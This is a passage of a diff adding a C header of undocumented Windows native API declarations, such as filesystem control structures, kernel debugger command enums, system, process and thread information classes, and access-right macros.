0x00000010 + +typedef struct _TXFS_SAVEPOINT_INFORMATION { + HANDLE KtmTransaction; + ULONG ActionCode; + ULONG SavepointId; +} TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; + + +typedef struct _TXFS_CREATE_MINIVERSION_INFO { + + USHORT StructureVersion; + USHORT StructureLength; + ULONG BaseVersion; + USHORT MiniVersion; +} TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; + + +typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { + BOOLEAN TransactionsActiveAtSnapshot; + +} TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; + +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) + +typedef struct _BOOT_AREA_INFO { + + ULONG BootSectorCount; // the count of boot sectors present on the file system + struct { + LARGE_INTEGER Offset; + } BootSectors[2]; // variable number of boot sectors. + +} BOOT_AREA_INFO, *PBOOT_AREA_INFO; + +typedef struct _RETRIEVAL_POINTER_BASE { + + LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem +} RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; + +typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { + + ULONG VolumeFlags; + ULONG FlagMask; + ULONG Version; + ULONG Reserved; + +} FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; + +typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { + + CHAR FileSystem[9]; + +} FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; + +#define OPLOCK_LEVEL_CACHE_READ (0x00000001) +#define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) +#define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) + +#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) +#define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) +#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) + +#define REQUEST_OPLOCK_CURRENT_VERSION 1 + +typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { + + // + // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. + // + + USHORT StructureVersion; + + USHORT StructureLength; + + // + // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. + // + + ULONG RequestedOplockLevel; + + // + // REQUEST_OPLOCK_INPUT_FLAG_* flags. + // + + ULONG Flags; + +} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; + +#define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) +#define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) + +typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { + + USHORT StructureVersion; + + USHORT StructureLength; + + ULONG OriginalOplockLevel; + + ULONG NewOplockLevel; + + ULONG Flags; + + ACCESS_MASK AccessMode; + + USHORT ShareMode; + +} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; + + +#define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 + +typedef struct _SD_CHANGE_MACHINE_SID_INPUT { + + USHORT CurrentMachineSIDOffset; + USHORT CurrentMachineSIDLength; + + USHORT NewMachineSIDOffset; + USHORT NewMachineSIDLength; + +} SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; + +typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { + + // + // How many entries were successfully changed in the $Secure stream + // + + ULONGLONG NumSDChangedSuccess; + + // + // How many entires failed the update in the $Secure stream + // + + ULONGLONG NumSDChangedFail; + + // + // How many entires are unused in the current security stream + // + + ULONGLONG NumSDUnused; + + // + // The total number of entries processed in the $Secure stream + // + + ULONGLONG NumSDTotal; + + // + // How many entries were successfully changed in the $MFT file + // + + ULONGLONG NumMftSDChangedSuccess; + + // + // How many entries failed the update in the $MFT file + // + + ULONGLONG NumMftSDChangedFail; + + // + // Total number of entriess process in the $MFT file + // + + ULONGLONG NumMftSDTotal; + +} SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; + +// +// Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE +// + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _SD_GLOBAL_CHANGE_INPUT +{ + // + // Input flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which type of change we are doing and pics which member + // of the below union is in use. + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_INPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; + +typedef struct _SD_GLOBAL_CHANGE_OUTPUT +{ + + // + // Output State Flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which below union to use + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_OUTPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +// +// Flag to indicate the encrypted file is sparse +// + +#define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 + +typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { + + ULONG ExtendedCode; + ULONG Length; + ULONG Flags; + ULONG Reserved; + +} EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; + + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { + ULONG Flags; + ULONG NumberOfClusters; + LARGE_INTEGER Cluster[1]; +} LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { + ULONG Offset; + ULONG NumberOfMatches; + ULONG BufferSizeRequired; +} LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { + ULONG OffsetToNext; + ULONG Flags; + LARGE_INTEGER Reserved; + LARGE_INTEGER Cluster; + WCHAR FileName[1]; +} LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; + +typedef struct _FILE_TYPE_NOTIFICATION_INPUT { + + ULONG Flags; + ULONG NumFileTypeIDs; + GUID FileTypeID[1]; + +} FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; + +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEG_In_ 0x00000001 //Set when adding the specified usage on the given file +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file + +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); +#endif /* _WIN32_WINNT >= 0x0601 */ + +#endif // _FILESYSTEMFSCTL_ + +// 21.12.2011 - end + +// 09.06.2011 - end + +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; + +typedef enum _INTERFACE_TYPE +{ + UnknownInterfaceType = 1 +} INTERFACE_TYPE ; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, *PSYSDBG_MSR; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, *PBUS_DATA_TYPE; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; + +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, // WOW64 + SystemEmulationProcessorInformation, // WOW64 + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemCodeIntegrityInformation, + SystemProcessorMicrocodeUpdateInformation, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, + EventTraceGroupMaskInformation, + EventTracePerformanceInformation, + EventTraceTimeProfileInformation, + EventTraceSessionSecurityInformation, + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; + +#define LOCK_QUEUE_WAIT 1 +#define LOCK_QUEUE_WAIT_BIT 0 + +#define LOCK_QUEUE_OWNER 2 +#define LOCK_QUEUE_OWNER_BIT 1 + +#define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 +#define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) + +typedef enum _KSPIN_LOCK_QUEUE_NUMBER { + LockQueueDispatcherLock, + LockQueueUnusedSpare1, + LockQueuePfnLock, + LockQueueSystemSpaceLock, + LockQueueVacbLock, + LockQueueMasterLock, + LockQueueNonPagedPoolLock, + LockQueueIoCancelLock, + LockQueueWorkQueueLock, + LockQueueIoVpbLock, + LockQueueIoDatabaseLock, + LockQueueIoCompletionLock, + LockQueueNtfsStructLock, + LockQueueAfdWorkQueueLock, + LockQueueBcbLock, + LockQueueMmNonPagedPoolLock, + LockQueueUnusedSpare16, + LockQueueTimerTableLock, + LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS +} KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMmVirtualAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair_Reusable, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, // Obsolete + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, // Obsolete + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, // UMS + ThreadCounterProfiling, + ThreadIdealProcessorEx, + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE; + + +#define PROCESS_TERMINATE (0x0001) +#define PROCESS_CREATE_THREAD (0x0002) +#define PROCESS_SET_SESSIONID (0x0004) +#define PROCESS_VM_OPERATION (0x0008) +#define PROCESS_VM_READ (0x0010) +#define PROCESS_VM_WRITE (0x0020) +#define PROCESS_DUP_HANDLE (0x0040) +#define PROCESS_CREATE_PROCESS (0x0080) +#define PROCESS_SET_QUOTA (0x0100) +#define PROCESS_SET_INFORMATION (0x0200) +#define PROCESS_QUERY_INFORMATION (0x0400) +#define PROCESS_SET_PORT (0x0800) +#define PROCESS_SUSPEND_RESUME (0x0800) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// 28.05.2011 - rndbit +#define NtLastError() ( NtCurrentTeb()->LastErrorValue ) +#define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) + +#if defined(_M_X86) +#define NtCurrentPID() __readfsdword(0x20) +#else +#define NtCurrentPID() __readgsqword(0x20) +#endif + +#define THREAD_TERMINATE (0x0001) +#define THREAD_SUSPEND_RESUME (0x0002) +#define THREAD_ALERT (0x0004) +#define THREAD_GET_CONTEXT (0x0008) +#define THREAD_SET_CONTEXT (0x0010) +#define THREAD_SET_INFORMATION (0x0020) +#define THREAD_QUERY_INFORMATION (0x0040) +#define THREAD_SET_THREAD_TOKEN (0x0080) +#define THREAD_IMPERSONATE (0x0100) +#define THREAD_DIRECT_IMPERSONATION (0x0200) + +#define JOB_OBJECT_ASSIGN_PROCESS (0x0001) +#define JOB_OBJECT_SET_ATTRIBUTES (0x0002) +#define JOB_OBJECT_QUERY (0x0004) +#define JOB_OBJECT_TERMINATE (0x0008) +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) +#ifndef _WINNT_ +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) +#endif + +#define PEB_STDIO_HANDLE_NATIVE 0 +#define PEB_STDIO_HANDLE_SUBSYS 1 +#define PEB_STDIO_HANDLE_PM 2 +#define PEB_STDIO_HANDLE_RESERVED 3 + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define FOREGROUND_BASE_PRIORITY 9 +#define NORMAL_BASE_PRIORITY 8 + +#ifndef FILE_READ_ACCESS +#define FILE_READ_ACCESS ( 0x0001 ) +#endif + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession +} POOL_TYPE, *PPOOL_TYPE; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef enum _REG_NOTIFY_CLASS +{ + RegNtDeleteKey, + RegNtPreDeleteKey, + RegNtSetValueKey, + RegNtPreSetValueKey, + RegNtDeleteValueKey, + RegNtPreDeleteValueKey, + RegNtSetInformationKey, + RegNtPreSetInformationKey, + RegNtRenameKey, + RegNtPreRenameKey, + RegNtEnumerateKey, + RegNtPreEnumerateKey, + RegNtEnumerateValueKey, + RegNtPreEnumerateValueKey, + RegNtQueryKey, + RegNtPreQueryKey, + RegNtQueryValueKey, + RegNtPreQueryValueKey, + RegNtQueryMultipleValueKey, + RegNtPreQueryMultipleValueKey, + RegNtPreCreateKey, + RegNtPostCreateKey, + RegNtPreOpenKey, + RegNtPostOpenKey, + RegNtKeyHandleClose, + RegNtPreKeyHandleClose, + RegNtPostDeleteKey, + RegNtPostSetValueKey, + RegNtPostDeleteValueKey, + RegNtPostSetInformationKey, + RegNtPostRenameKey, + RegNtPostEnumerateKey, + RegNtPostEnumerateValueKey, + RegNtPostQueryKey, + RegNtPostQueryValueKey, + RegNtPostQueryMultipleValueKey, + RegNtPostKeyHandleClose, + RegNtPreCreateKeyEx, + RegNtPostCreateKeyEx, + RegNtPreOpenKeyEx, + RegNtPostOpenKeyEx, + RegNtPreFlushKey, + RegNtPostFlushKey, + RegNtPreLoadKey, + RegNtPostLoadKey, + RegNtPreUnLoadKey, + RegNtPostUnLoadKey, + RegNtPreQueryKeySecurity, + RegNtPostQueryKeySecurity, + RegNtPreSetKeySecurity, + RegNtPostSetKeySecurity, + RegNtCallbackObjectContextCleanup, + MaxRegNtNotifyClass +} REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; + +typedef enum _HAL_QUERY_INFORMATION_CLASS +{ + HalInstalledBusInformation, + HalProfileSourceInformation, + HalInformationClassUnused1, + HalPowerInformation, + HalProcessorSpeedInformation, + HalCallbackInformation, + HalMapRegisterInformation, + HalMcaLogInformation, + HalFrameBufferCachingInformation, + HalDisplayBiosInformation, + HalProcessorFeatureInformation, + HalNumaTopologyInterface, + HalErrorInformation, + HalCmcLogInformation, + HalCpeLogInformation, + HalQueryMcaInterface, + HalQueryAMLIIllegalIOPortAddresses, + HalQueryMaxHotPlugMemoryAddress, + HalPartitionIpiInterface, + HalPlatformInformation, + HalQueryProfileSourceList, + HalInitLogInformation, + HalFrequencyInformation, + HalProcessorBrandString +} HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; + + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef enum POWER_INFORMATION_LEVEL { + SystemPowerPolicyAc = 0x0, + SystemPowerPolicyDc = 0x1, + VerifySystemPolicyAc = 0x2, + VerifySystemPolicyDc = 0x3, + SystemPowerCapabilities = 0x4, + SystemBatteryState = 0x5, + SystemPowerStateHandler = 0x6, + ProcessorStateHandler = 0x7, + SystemPowerPolicyCurrent = 0x8, + AdministratorPowerPolicy = 0x9, + SystemReserveHiberFile = 0xa, + ProcessorInformation = 0xb, + SystemPowerInformation = 0xc, + ProcessorStateHandler2 = 0xd, + LastWakeTime = 0xe, + LastSleepTime = 0xf, + SystemExecutionState = 0x10, + SystemPowerStateNotifyHandler = 0x11, + ProcessorPowerPolicyAc = 0x12, + ProcessorPowerPolicyDc = 0x13, + VerifyProcessorPowerPolicyAc = 0x14, + VerifyProcessorPowerPolicyDc = 0x15, + ProcessorPowerPolicyCurrent = 0x16, + SystemPowerStateLogging = 0x17, + SystemPowerLoggingEntry = 0x18, + SetPowerSettingValue = 0x19, + NotifyUserPowerSetting = 0x1a, + GetPowerTransitionVetoes = 0x1b, + SetPowerTransitionVeto = 0x1c, + SystemVideoState = 0x1d, + TraceApplicationPowerMessage = 0x1e, + 